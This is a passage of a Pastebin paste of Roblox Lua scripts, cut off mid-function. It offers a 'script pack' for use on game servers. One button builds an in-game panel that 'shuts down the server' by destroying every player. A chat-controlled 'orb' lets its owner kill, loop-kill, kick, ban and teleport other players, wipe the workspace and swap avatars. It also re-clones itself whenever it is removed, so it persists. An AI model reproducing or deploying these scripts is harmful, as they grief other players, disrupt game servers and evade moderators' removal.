Advertisement
LuanHackingPro

Pack De Script Roblox

Nov 27th, 2015
410
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 231.73 KB | None | 0 0
  1. LocalPlayer = game:GetService("Players").LocalPlayer
  2.  
  3. local Part1 = Instance.new("Part", workspace)
  4. Part1.FormFactor = Enum.FormFactor.Custom
  5. Part1.Size = Vector3.new(15, 10, 0)
  6. Part1.Position = Vector3.new(7, 7.2, 14.5)
  7. Part1.Locked = true
  8. Part1.Anchored = true
  9. Part1.TopSurface = 'Smooth'
  10. Part1.BottomSurface = 'Smooth'
  11. game:GetService("RunService").RenderStepped:connect(function()
  12. Part1.CFrame = LocalPlayer.Character.HumanoidRootPart.CFrame*CFrame.new(0,3,-5)
  13. end)
  14. local sg = Instance.new("SurfaceGui",Part1)
  15.  
  16. sg.Adornee = Part1
  17. sg.Face = "Back"
  18. local tl = Instance.new("Frame",sg)
  19. tl.BackgroundColor3 = Color3.new(0,0,0)
  20. tl.Size = UDim2.new(0,800,0,600)
  21. Part1.CanCollide = false
  22.  
  23. local button1 = Instance.new("TextButton", tl)
  24. button1.Size = UDim2.new(0,800,0,50)
  25. button1.Position = UDim2.new(0,0,0,0)
  26. button1.Text = 'Spawn New Part'
  27. button1.Font = 'Legacy'
  28. button1.FontSize = 'Size14'
  29. button1.BackgroundTransparency = 0.5
  30. button1.BackgroundColor3 = Color3.new(46, 189, 168)
  31. button1.BorderColor3 = Color3.new(27, 42, 53)
  32. button1.TextColor3 = Color3.new(27, 42, 53)
  33. button1.MouseButton1Click:connect(function()
  34. Instance.new("Part", game.Workspace)
  35. end)
  36.  
  37. local button2 = Instance.new("TextButton", tl)
  38. button2.Size = UDim2.new(0,800,0,50)
  39. button2.Position = UDim2.new(0,0,0,60)
  40. button2.Text = 'Shutdown The Server'
  41. button2.Font = 'Legacy'
  42. button2.FontSize = 'Size14'
  43. button2.BackgroundTransparency = 0.5
  44. button2.BackgroundColor3 = Color3.new(46, 189, 168)
  45. button2.BorderColor3 = Color3.new(46, 189, 168)
  46. button2.TextColor3 = Color3.new(27, 42, 53)
  47. button2.MouseButton1Click:connect(function()
  48. local m = Instance.new("Message")
  49. m.Parent = game.Workspace
  50. m.Text = "| Sorry About That /: | Server shutting down in 10 Seconds."
  51. wait(3)
  52. m:remove()
  53. wait(7)
  54. for i,v in pairs(game.Players:GetChildren()) do
  55. v:Destroy()
  56. end
  57. end)
  58.  
  59. local button3 = Instance.new("TextButton", tl)
  60. button3.Size = UDim2.new(0,800,0,50)
  61. button3.Position = UDim2.new(0,0,0,120)
  62. button3.Text = 'Base Disco (ScriptBuilder)'
  63. button3.Font = 'Legacy'
  64. button3.FontSize = 'Size14'
  65. button3.BackgroundTransparency = 0.5
  66. button3.BackgroundColor3 = Color3.new(46, 189, 168)
  67. button3.BorderColor3 = Color3.new(46, 189, 168)
  68. button3.TextColor3 = Color3.new(27, 42, 53)
  69. button3.MouseButton1Click:connect(function()
  70. while true do
  71. game.Workspace.Base.Color = Color3.new(math.random())
  72. wait()
  73. end
  74. end)
  75.  
  76. local button4 = Instance.new("TextButton", tl)
  77. button4.Size = UDim2.new(0,800,0,50)
  78. button4.Position = UDim2.new(0,0,0,180)
  79. button4.Text = 'Spawn D!ck Parts'
  80. button4.Font = 'Legacy'
  81. button4.FontSize = 'Size14'
  82. button4.BackgroundTransparency = 0.5
  83. button4.BackgroundColor3 = Color3.new(46, 189, 168)
  84. button4.BorderColor3 = Color3.new(46, 189, 168)
  85. button4.TextColor3 = Color3.new(27, 42, 53)
  86. button4.MouseButton1Click:connect(function()
  87. local di = Instance.new("Part", game.Workspace)
  88. di.BrickColor = BrickColor.new 'Hot pink'
  89. di.Shape = 'Ball'
  90. di.Position = Vector3.new(-6, 2, -5)
  91. di.Size = Vector3.new(4, 4, 4)
  92.  
  93. local di1 = Instance.new("Part", game.Workspace)
  94. di1.BrickColor = BrickColor.new 'Hot pink'
  95. di1.Shape = 'Ball'
  96. di1.Position = Vector3.new(-2, 2, -5)
  97. di1.Size = Vector3.new(4, 4, 4)
  98.  
  99. local di2 = Instance.new("Part", game.Workspace)
  100. di2.BrickColor = BrickColor.new 'Light orange'
  101. di2.Shape = 'Cylinder'
  102. di2.Position = Vector3.new(-2, 2, -5)
  103. di2.Size = Vector3.new(4, 4, 4)
  104. end)
  105.  
  106. local button5 = Instance.new("TextButton", tl)
  107. button5.Size = UDim2.new(0,800,0,50)
  108. button5.Position = UDim2.new(0,0,0,240)
  109. button5.Text = 'Play Song - Bouncy Mario'
  110. button5.Font = 'Legacy'
  111. button5.FontSize = 'Size14'
  112. button5.BackgroundTransparency = 0.5
  113. button5.BackgroundColor3 = Color3.new(46, 189, 168)
  114. button5.BorderColor3 = Color3.new(46, 189, 168)
  115. button5.TextColor3 = Color3.new(27, 42, 53)
  116. button5.MouseButton1Click:connect(function()
  117. local s = Instance.new("Sound",Workspace)
  118. s.Pitch = 1
  119. s.Volume = 1
  120. s.SoundId = "rbxassetid://162773724"
  121. s.Looped = true
  122. s.PlayOnRemove = true
  123. s:Play()
  124.  
  125. end)
  126. local button6 = Instance.new("TextButton", tl)
  127. button6.Size = UDim2.new(0,800,0,50)
  128. button6.Position = UDim2.new(0,0,0,300)
  129. button6.Text = 'Turn Night'
  130. button6.Font = 'Legacy'
  131. button6.FontSize = 'Size14'
  132. button6.BackgroundTransparency = 0.5
  133. button6.BackgroundColor3 = Color3.new(46, 189, 168)
  134. button6.BorderColor3 = Color3.new(46, 189, 168)
  135. button6.TextColor3 = Color3.new(56, 255, 249)
  136. button6.MouseButton1Click:connect(function()
  137. game.Lighting.TimeOfDay="00:00:00"
  138. end)
  139.  
  140. local button7 = Instance.new("TextButton", tl)
  141. button7.Size = UDim2.new(0,800,0,50)
  142. button7.Position = UDim2.new(0,0,0,360)
  143. button7.Text = 'Turn Day'
  144. button7.Font = 'Legacy'
  145. button7.FontSize = 'Size14'
  146. button7.BackgroundTransparency = 0.5
  147. button7.BackgroundColor3 = Color3.new(46, 189, 168)
  148. button7.BorderColor3 = Color3.new(46, 189, 168)
  149. button7.TextColor3 = Color3.new(56, 255, 249)
  150. button7.MouseButton1Click:connect(function()
  151. game.Lighting.TimeOfDay="12:00:00"
  152. end)
  153.  
  154. local button8 = Instance.new("TextButton", tl)
  155. button8.Size = UDim2.new(0,800,0,50)
  156. button8.Position = UDim2.new(0,0,0,420)
  157. button8.Text = 'Stop All Music'
  158. button8.Font = 'Legacy'
  159. button8.FontSize = 'Size14'
  160. button8.BackgroundTransparency = 0.5
  161. button8.BackgroundColor3 = Color3.new(46, 189, 168)
  162. button8.BorderColor3 = Color3.new(46, 189, 168)
  163. button8.TextColor3 = Color3.new(56, 255, 249)
  164. button8.MouseButton1Click:connect(function()
  165. game.Workspace.Sound:remove()
  166. end)
  167.  
  168. local button9 = Instance.new("TextButton", tl)
  169. button9.Size = UDim2.new(0,800,0,50)
  170. button9.Position = UDim2.new(0,0,0,480)
  171. button9.Text = 'Give Orb'
  172. button9.Font = 'Legacy'
  173. button9.FontSize = 'Size14'
  174. button9.BackgroundTransparency = 0.5
  175. button9.BackgroundColor3 = Color3.new(46, 189, 168)
  176. button9.BorderColor3 = Color3.new(46, 189, 168)
  177. button9.TextColor3 = Color3.new(56, 255, 249)
  178. button9.MouseButton1Click:connect(function()
  179. local Settings={["Un_Removable"]= "On"}
  180. local function mFloor(x) return x - x % 1 end
  181. local Un_Removable = tostring(Settings["Un_Removable"]):lower() == "on"
  182. if Un_Removable then
  183. Game.Workspace.DescendantRemoving:connect(function(Child)
  184. if not Remove_At_Will and Child == script then
  185. script:Clone().Parent = Game.Workspace
  186. end
  187. end)
  188. end
  189.  
  190. local Owners = "ProFiGames"
  191. local Player = game.Players:findFirstChild(Owners)
  192.  
  193. --[[
  194.  
  195. Informations :
  196.  
  197. You can change the name of your orb in line 96 and change the owners to the orb in line 12
  198. Say orb, the command and name for example : orb, kill na ( na = nairod7 )
  199.  
  200. Owner Function ( you need change the id or something to work with you ) :
  201.  
  202. power the owner
  203. assasin the owner
  204. antiban the owner
  205. admin the owner
  206.  
  207. Basics Commands :
  208.  
  209. nairod playername
  210. rifle playername
  211. pistol playername
  212. sword playername
  213. drone playername
  214. wand playername
  215. kill playername
  216. find playername
  217. ff playername
  218. unff playername
  219. claws playername
  220. skull playername
  221. rocket playername
  222. clear playername
  223. vampire playername
  224. pokeball playername
  225. insert playername
  226. eyeball playername
  227. invisible playername
  228. visible playername
  229. rickroll playername
  230. kick playername
  231. ban playername
  232. detinator playername
  233. fstaff playername
  234. istaff playername
  235. gstaff playername
  236. fsword playername
  237. isword playername
  238. clear playername
  239. mdebug playername ( remove message )
  240. flamethrower playername
  241. shutdown playername ( shutdown the server )
  242. fire playername
  243. green fire playername
  244. white playername
  245. suit playername ( you have tool with him )
  246. tele playername ( teleport yourself from a other player )
  247.  
  248. Apparence command :
  249.  
  250. nairod playername
  251. builderman playername
  252. telamon playername
  253. matt playername
  254. guest playername
  255. girly playername
  256. ducc playername
  257. sweed playername
  258. wierdo playername
  259. gear playername
  260. police playername
  261. madly playername
  262. ana playername
  263. masashi playername
  264.  
  265. ]]--
  266. local RISE = 5
  267. local FOLLOW = true
  268. local M = Instance.new("Model")
  269. local H = Instance.new("Humanoid")
  270. M.Parent = Player.Character
  271. H.Parent = M
  272. H.MaxHealth = 0
  273. H.Health = 0
  274. M.Name = "Greg's Buddy!"
  275. local p = Instance.new("Part")
  276. local BP = Instance.new("BodyPosition")
  277. local BG = Instance.new("BodyGyro")
  278. local SPL = Instance.new("SelectionPartLasso")
  279. BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  280. SPL.Parent = p
  281. p.BrickColor = BrickColor.new("Really red")
  282. f=Instance.new("Fire")
  283. f.Parent=p
  284. f.Heat = 3
  285. f.Size = 2
  286. f.Color=Color3.new(255,0,0)
  287. f.SecondaryColor = Color3.new(0,0,0)
  288. f=Instance.new("Fire")
  289. f.Parent=p
  290. f.Heat = 3
  291. f.Size = 2
  292. f.Color=Color3.new(0,255,0)
  293. f.SecondaryColor = Color3.new(0,0,0)
  294. f=Instance.new("Fire")
  295. f.Parent=p
  296. f.Heat = 3
  297. f.Size = 2
  298. f.Color=Color3.new(0,0,255)
  299. f.SecondaryColor = Color3.new(0,0,0)
  300. f=Instance.new("SpecialMesh")
  301. f.Parent=p
  302. f.MeshId = "http://www.roblox.com/asset/?id=34795798"
  303. f.MeshType = "FileMesh"
  304. f.Scale = Vector3.new(1.3,1.3,1.3)
  305. f.TextureId = "http://www.roblox.com/asset/?id=34914385"
  306. p.Name = "Head"
  307. p.Parent = M
  308. p.Shape = "Ball"
  309. p.formFactor = "Symmetric"
  310. p.Size = Vector3.new(1, 1, 1)
  311. p.TopSurface = 0
  312. p.BottomSurface = 0
  313. BP.Parent = p
  314.  
  315. function matchPlayer(str)
  316. local result = nil
  317. local players = game.Players:GetPlayers()
  318. for i,v in pairs(game.Players:GetPlayers()) do
  319. if (string.find(string.lower(v.Name), str) == 1) then
  320. if (result ~= nil) then return nil end
  321. result = v
  322. end
  323. end
  324. return result
  325. end
  326.  
  327.  
  328.  
  329. function onChatted(msg)
  330.  
  331. if (string.sub(msg, 1, 4) == "orb,") then
  332. if (string.find(msg, string.lower("reset"))) then
  333. for word in msg:gmatch("%w+") do
  334. local player = matchPlayer(word)
  335. if (player ~= nil) then
  336. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  337. SPL.Color = BrickColor.new("Bright red")
  338. SPL.Part = p
  339. player.Character:BreakJoints()
  340. wait(1)
  341. SPL.Part = nil
  342. end
  343. end
  344. end
  345. if not (string.find(msg, string.lower("loopkill"))) then
  346. if (string.find(msg, string.lower("kill"))) then
  347. for word in msg:gmatch("%w+") do
  348. local player = matchPlayer(word)
  349. if (player ~= nil) then
  350. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  351. SPL.Color = BrickColor.new("Bright red")
  352. SPL.Part = p
  353. player.Character:BreakJoints()
  354. wait(1)
  355. SPL.Part = nil
  356. end
  357. end
  358. end
  359. end
  360. if (string.find(msg, string.lower("find"))) then
  361. for word in msg:gmatch("%w+") do
  362. local player = matchPlayer(word)
  363. if (player ~= nil) then
  364. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  365. SPL.Color = BrickColor.new("White")
  366. SPL.Part = p
  367. wait(2)
  368. SPL.Part = nil
  369. end
  370. end
  371. end
  372. if (string.find(msg, string.lower("tele"))) then
  373. for word in msg:gmatch("%w+") do
  374. local player = matchPlayer(word)
  375. if (player ~= nil) then
  376. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  377. SPL.Color = BrickColor.new("Bright blue")
  378. SPL.Part = p
  379. Player.Character.Torso.CFrame = player.Character.Torso.CFrame
  380. wait(1)
  381. SPL.Part = nil
  382. end
  383. end
  384. end
  385. if (string.find(msg, string.lower("trans"))) then
  386. local number = msg:match("[%d%.]+") --find a sequence of numbers and decimal point - why would you want hexadecimal?
  387. if (number ~= nil) then
  388. p.Transparency = tonumber(number)
  389. end
  390. end
  391. if (string.find(msg, string.lower("size"))) then
  392. local number = msg:match("[%d%.]+") --find a sequence of numbers and decimal point - why would you want hexadecimal?
  393. if (number ~= nil) then
  394. p.Size = Vector3.new(tonumber(number),tonumber(number),tonumber(number))
  395. end
  396. end
  397. if (string.find(msg, string.lower("loopkill"))) then
  398. local number = msg:match("[%d%.]+") --find a sequence of numbers and decimal point - why would you want hexadecimal?
  399. if (number ~= nil) then
  400. for word in msg:gmatch("%w+") do
  401. local player = matchPlayer(word)
  402. if (player ~= nil) then
  403. K = 0
  404. repeat
  405. if (player.Character:findFirstChild("Humanoid").Health > 0) then
  406. wait()
  407. if (player.Character:findFirstChild("Torso") ~= nil) then
  408. wait()
  409. if (player.Character ~= nil) then
  410. wait()
  411. K = K + 1
  412. player.Character:BreakJoints()
  413. end
  414. end
  415. end
  416. wait()
  417. until tonumber(K) == tonumber(number)
  418. K = 0
  419. end
  420. end
  421. end
  422. end
  423. if (string.find(msg, string.lower("rise"))) then
  424. local number = msg:match("[%d%.]+") --find a sequence of numbers and decimal point - why would you want hexadecimal?
  425. if (number ~= nil) then
  426. RISE = tostring(number + 5)
  427. end
  428. end
  429. if not (string.find(msg, string.lower("unff"))) then
  430. if (string.find(msg, string.lower("ff"))) then
  431. for word in msg:gmatch("%w+") do
  432. local player = matchPlayer(word)
  433. if (player ~= nil) then
  434. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  435. SPL.Color = BrickColor.new("Bright green")
  436. SPL.Part = p
  437. ff = Instance.new("ForceField")
  438. ff.Parent = player.Character
  439. wait(1)
  440. SPL.Part = nil
  441. end
  442. end
  443. end
  444. end
  445. if (string.find(msg, string.lower("skull"))) then
  446. for word in msg:gmatch("%w+") do
  447. local player = matchPlayer(word)
  448. if (player ~= nil) then
  449. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  450. SPL.Color = BrickColor.new("New Yeller")
  451. SPL.Part = p
  452. g = game:GetService("InsertService"):LoadAsset(33305967)
  453. g.Parent = game.Workspace
  454. g:MoveTo(player.Character.Torso.Position)
  455. wait(2)
  456. SPL.Part = nil
  457. end
  458. end
  459. end
  460. if (string.find(msg, string.lower("claws"))) then
  461. for word in msg:gmatch("%w+") do
  462. local player = matchPlayer(word)
  463. if (player ~= nil) then
  464. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  465. SPL.Color = BrickColor.new("New Yeller")
  466. SPL.Part = p
  467. g = game:GetService("InsertService"):LoadAsset(30822045)
  468. g.Parent = game.Workspace
  469. g:MoveTo(player.Character.Torso.Position)
  470. wait(2)
  471. SPL.Part = nil
  472. end
  473. end
  474. end
  475. if (string.find(msg, string.lower("rocket"))) then
  476. for word in msg:gmatch("%w+") do
  477. local player = matchPlayer(word)
  478. if (player ~= nil) then
  479. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  480. SPL.Color = BrickColor.new("New Yeller")
  481. SPL.Part = p
  482. g = game:GetService("InsertService"):LoadAsset(3675058)
  483. g.Parent = game.Workspace
  484. g:MoveTo(player.Character.Torso.Position)
  485. wait(2)
  486. SPL.Part = nil
  487. end
  488. end
  489. end
  490. if (string.find(msg, string.lower("clear"))) then
  491. for word in msg:gmatch("%w+") do
  492. local player = matchPlayer(word)
  493. if (player ~= nil) then
  494. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  495. SPL.Color = BrickColor.new("New Yeller")
  496. SPL.Part = p
  497. local w=game.Workspace:GetChildren()
  498. for i=1,#w do
  499. if (game.Players:GetPlayerFromCharacter(w[i]))==nil and (w[i].Name~="TinySB") and (w[i]~=game.Workspace.CurrentCamera) then
  500. w[i]:Remove()
  501. end
  502. end
  503. local Base=Instance.new("Part",game.Workspace)
  504. Base.Name="Base"
  505. Base.Size=Vector3.new(600,1,600)
  506. Base.BrickColor=BrickColor.new("Earth green")
  507. Base.Anchored=true
  508. Base.Locked=true
  509. Base.TopSurface="Universal"
  510. Base.CFrame=CFrame.new(Vector3.new(0,0,0))
  511. end
  512. wait(2)
  513. SPL.Part = nil
  514. end
  515. end
  516. end
  517. if (string.find(msg, string.lower("vampire"))) then
  518. for word in msg:gmatch("%w+") do
  519. local player = matchPlayer(word)
  520. if (player ~= nil) then
  521. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  522. SPL.Color = BrickColor.new("New Yeller")
  523. SPL.Part = p
  524. g = game:GetService("InsertService"):LoadAsset(21202070)
  525. g.Parent = game.Workspace
  526. g:MoveTo(player.Character.Torso.Position)
  527. wait(2)
  528. SPL.Part = nil
  529. end
  530. end
  531. end
  532. if (string.find(msg, string.lower("unff"))) then
  533. for word in msg:gmatch("%w+") do
  534. local player = matchPlayer(word)
  535. if (player ~= nil) then
  536. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  537. SPL.Color = BrickColor.new("Bright green")
  538. SPL.Part = p
  539. for i,v in pairs(player.Character:GetChildren()) do
  540. if (v:IsA("ForceField")) then
  541. v:Remove()
  542. end
  543. end
  544. wait(0.5)
  545. SPL.Part = p
  546. SPL.Color = BrickColor.new("Black")
  547. wait(1)
  548. SPL.Part = nil
  549. end
  550. end
  551. end
  552. if (string.find(msg, string.lower("wierdo"))) then
  553. for word in msg:gmatch("%w+") do
  554. local player = matchPlayer(word)
  555. if (player ~= nil) then
  556. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  557. SPL.Color = BrickColor.new("Really black")
  558. SPL.Part = p
  559. player.Character:BreakJoints()
  560. player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=6819846"
  561. end
  562. end
  563. end
  564. if (string.find(msg, string.lower("telamon"))) then
  565. for word in msg:gmatch("%w+") do
  566. local player = matchPlayer(word)
  567. if (player ~= nil) then
  568. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  569. SPL.Color = BrickColor.new("Really black")
  570. SPL.Part = p
  571. player.Character:BreakJoints()
  572. player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=261"
  573. end
  574. end
  575. end
  576. if (string.find(msg, string.lower("ducc"))) then
  577. for word in msg:gmatch("%w+") do
  578. local player = matchPlayer(word)
  579. if (player ~= nil) then
  580. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  581. SPL.Color = BrickColor.new("Really black")
  582. SPL.Part = p
  583. player.Character:BreakJoints()
  584. player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=7303693"
  585. end
  586. end
  587. end
  588. if (string.find(msg, string.lower("sweed"))) then
  589. for word in msg:gmatch("%w+") do
  590. local player = matchPlayer(word)
  591. if (player ~= nil) then
  592. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  593. SPL.Color = BrickColor.new("Really black")
  594. SPL.Part = p
  595. player.Character:BreakJoints()
  596. player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=6472560"
  597. end
  598. end
  599. end
  600. if (string.find(msg, string.lower("girly"))) then
  601. for word in msg:gmatch("%w+") do
  602. local player = matchPlayer(word)
  603. if (player ~= nil) then
  604. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  605. SPL.Color = BrickColor.new("Really black")
  606. SPL.Part = p
  607. player.Character:BreakJoints()
  608. player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=362994"
  609. end
  610. end
  611. end
  612. if (string.find(msg, string.lower("masashi"))) then
  613. for word in msg:gmatch("%w+") do
  614. local player = matchPlayer(word)
  615. if (player ~= nil) then
  616. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  617. SPL.Color = BrickColor.new("Really black")
  618. SPL.Part = p
  619. player.Character:BreakJoints()
  620. player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=3216894"
  621. end
  622. end
  623. end
  624. if (string.find(msg, string.lower("madly"))) then
  625. for word in msg:gmatch("%w+") do
  626. local player = matchPlayer(word)
  627. if (player ~= nil) then
  628. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  629. SPL.Color = BrickColor.new("Really black")
  630. SPL.Part = p
  631. player.Character:BreakJoints()
  632. player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=6160286"
  633. end
  634. end
  635. end
  636. if (string.find(msg, string.lower("ana"))) then
  637. for word in msg:gmatch("%w+") do
  638. local player = matchPlayer(word)
  639. if (player ~= nil) then
  640. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  641. SPL.Color = BrickColor.new("Really black")
  642. SPL.Part = p
  643. player.Character:BreakJoints()
  644. player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=9201"
  645. end
  646. end
  647. end
  648. if (string.find(msg, string.lower("police"))) then
  649. for word in msg:gmatch("%w+") do
  650. local player = matchPlayer(word)
  651. if (player ~= nil) then
  652. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  653. SPL.Color = BrickColor.new("Really black")
  654. SPL.Part = p
  655. player.Character:BreakJoints()
  656. player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=5599663"
  657. end
  658. end
  659. end
  660. if (string.find(msg, string.lower("gear"))) then
  661. for word in msg:gmatch("%w+") do
  662. local player = matchPlayer(word)
  663. if (player ~= nil) then
  664. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  665. SPL.Color = BrickColor.new("Really black")
  666. SPL.Part = p
  667. player.Character:BreakJoints()
  668. player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=49566"
  669. end
  670. end
  671. end
  672. if (string.find(msg, string.lower("builderman"))) then
  673. for word in msg:gmatch("%w+") do
  674. local player = matchPlayer(word)
  675. if (player ~= nil) then
  676. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  677. SPL.Color = BrickColor.new("Really black")
  678. SPL.Part = p
  679. player.Character:BreakJoints()
  680. player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=156"
  681. end
  682. end
  683. end
  684. if (string.find(msg, string.lower("guest"))) then
  685. for word in msg:gmatch("%w+") do
  686. local player = matchPlayer(word)
  687. if (player ~= nil) then
  688. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  689. SPL.Color = BrickColor.new("Really black")
  690. SPL.Part = p
  691. player.Character:BreakJoints()
  692. player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=1"
  693. end
  694. end
  695. end
  696. if (string.find(msg, string.lower("stickmaster"))) then
  697. for word in msg:gmatch("%w+") do
  698. local player = matchPlayer(word)
  699. if (player ~= nil) then
  700. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  701. SPL.Color = BrickColor.new("Really black")
  702. SPL.Part = p
  703. player.Character:BreakJoints()
  704. player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=80254"
  705. end
  706. end
  707. end
  708. if (string.find(msg, string.lower("matt"))) then
  709. for word in msg:gmatch("%w+") do
  710. local player = matchPlayer(word)
  711. if (player ~= nil) then
  712. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  713. SPL.Color = BrickColor.new("Really black")
  714. SPL.Part = p
  715. player.Character:BreakJoints()
  716. player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=916"
  717. end
  718. end
  719. end
  720. if (string.find(msg, string.lower("nairod"))) then
  721. for word in msg:gmatch("%w+") do
  722. local player = matchPlayer(word)
  723. if (player ~= nil) then
  724. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  725. SPL.Color = BrickColor.new("Really black")
  726. SPL.Part = p
  727. player.Character:BreakJoints()
  728. player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=7225903"
  729. end
  730. end
  731. end
  732. if (string.find(msg, string.lower("pokeball"))) then
  733. for word in msg:gmatch("%w+") do
  734. local player = matchPlayer(word)
  735. if (player ~= nil) then
  736. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  737. SPL.Color = BrickColor.new("New Yeller")
  738. SPL.Part = p
  739. g = game:GetService("InsertService"):LoadAsset(27261854)
  740. g.Parent = game.Workspace
  741. g:MoveTo(player.Character.Torso.Position)
  742. wait(2)
  743. SPL.Part = nil
  744. end
  745. end
  746. end
  747. if (string.find(msg, string.lower("flamethrower"))) then
  748. for word in msg:gmatch("%w+") do
  749. local player = matchPlayer(word)
  750. if (player ~= nil) then
  751. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  752. SPL.Color = BrickColor.new("New Yeller")
  753. SPL.Part = p
  754. g = game:GetService("InsertService"):LoadAsset(32153028)
  755. g.Parent = game.Workspace
  756. g:MoveTo(player.Character.Torso.Position)
  757. wait(2)
  758. SPL.Part = nil
  759. end
  760. end
  761. end
  762. if (string.find(msg, string.lower("fstaff"))) then
  763. for word in msg:gmatch("%w+") do
  764. local player = matchPlayer(word)
  765. if (player ~= nil) then
  766. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  767. SPL.Color = BrickColor.new("New Yeller")
  768. SPL.Part = p
  769. g = game:GetService("InsertService"):LoadAsset(32858741)
  770. g.Parent = game.Workspace
  771. g:MoveTo(player.Character.Torso.Position)
  772. wait(2)
  773. SPL.Part = nil
  774. end
  775. end
  776. end
  777. if (string.find(msg, string.lower("istaff"))) then
  778. for word in msg:gmatch("%w+") do
  779. local player = matchPlayer(word)
  780. if (player ~= nil) then
  781. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  782. SPL.Color = BrickColor.new("New Yeller")
  783. SPL.Part = p
  784. g = game:GetService("InsertService"):LoadAsset(32858662)
  785. g.Parent = game.Workspace
  786. g:MoveTo(player.Character.Torso.Position)
  787. wait(2)
  788. SPL.Part = nil
  789. end
  790. end
  791. end
  792. if (string.find(msg, string.lower("fsword"))) then
  793. for word in msg:gmatch("%w+") do
  794. local player = matchPlayer(word)
  795. if (player ~= nil) then
  796. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  797. SPL.Color = BrickColor.new("New Yeller")
  798. SPL.Part = p
  799. g = game:GetService("InsertService"):LoadAsset(32858699)
  800. g.Parent = game.Workspace
  801. g:MoveTo(player.Character.Torso.Position)
  802. wait(2)
  803. SPL.Part = nil
  804. end
  805. end
  806. end
  807. if (string.find(msg, string.lower("isword"))) then
  808. for word in msg:gmatch("%w+") do
  809. local player = matchPlayer(word)
  810. if (player ~= nil) then
  811. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  812. SPL.Color = BrickColor.new("New Yeller")
  813. SPL.Part = p
  814. g = game:GetService("InsertService"):LoadAsset(32858586)
  815. g.Parent = game.Workspace
  816. g:MoveTo(player.Character.Torso.Position)
  817. wait(2)
  818. SPL.Part = nil
  819. end
  820. end
  821. end
  822. if (string.find(msg, string.lower("gstaff"))) then
  823. for word in msg:gmatch("%w+") do
  824. local player = matchPlayer(word)
  825. if (player ~= nil) then
  826. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  827. SPL.Color = BrickColor.new("New Yeller")
  828. SPL.Part = p
  829. g = game:GetService("InsertService"):LoadAsset(33382711)
  830. g.Parent = game.Workspace
  831. g:MoveTo(player.Character.Torso.Position)
  832. wait(2)
  833. SPL.Part = nil
  834. end
  835. end
  836. end
  837. if (string.find(msg, string.lower("detinator"))) then
  838. for word in msg:gmatch("%w+") do
  839. local player = matchPlayer(word)
  840. if (player ~= nil) then
  841. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  842. SPL.Color = BrickColor.new("New Yeller")
  843. SPL.Part = p
  844. g = game:GetService("InsertService"):LoadAsset(33383241)
  845. g.Parent = game.Workspace
  846. g:MoveTo(player.Character.Torso.Position)
  847. wait(2)
  848. SPL.Part = nil
  849. end
  850. end
  851. end
  852. if (string.find(msg, string.lower("mdebug"))) then
  853. for word in msg:gmatch("%w+") do
  854. local player = matchPlayer(word)
  855. if (player ~= nil) then
  856. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  857. SPL.Color = BrickColor.new("New Yeller")
  858. SPL.Part = p
  859. local dbg = game.Workspace:getChildren()
  860. for i=1,#dbg do
  861. if dbg[i].className == "Hint" or dbg[i].className == "Message" then
  862. dbg[i]:remove()
  863. end
  864. end
  865. wait(2)
  866. SPL.Part = nil
  867. end
  868. end
  869. end
  870. if (string.find(msg, string.lower("eyeball"))) then
  871. for word in msg:gmatch("%w+") do
  872. local player = matchPlayer(word)
  873. if (player ~= nil) then
  874. SPL.Humanoid = player.Character:findFirstChild("Humanoid")
  875. SPL.Color = BrickColor.new("New Yeller")
  876. SPL.Part = p
  877. g = game:GetService("InsertService"):LoadAsset(36186052)
  878. g.Parent = game.Workspace
  879. g:MoveTo(player.Character.Torso.Position)
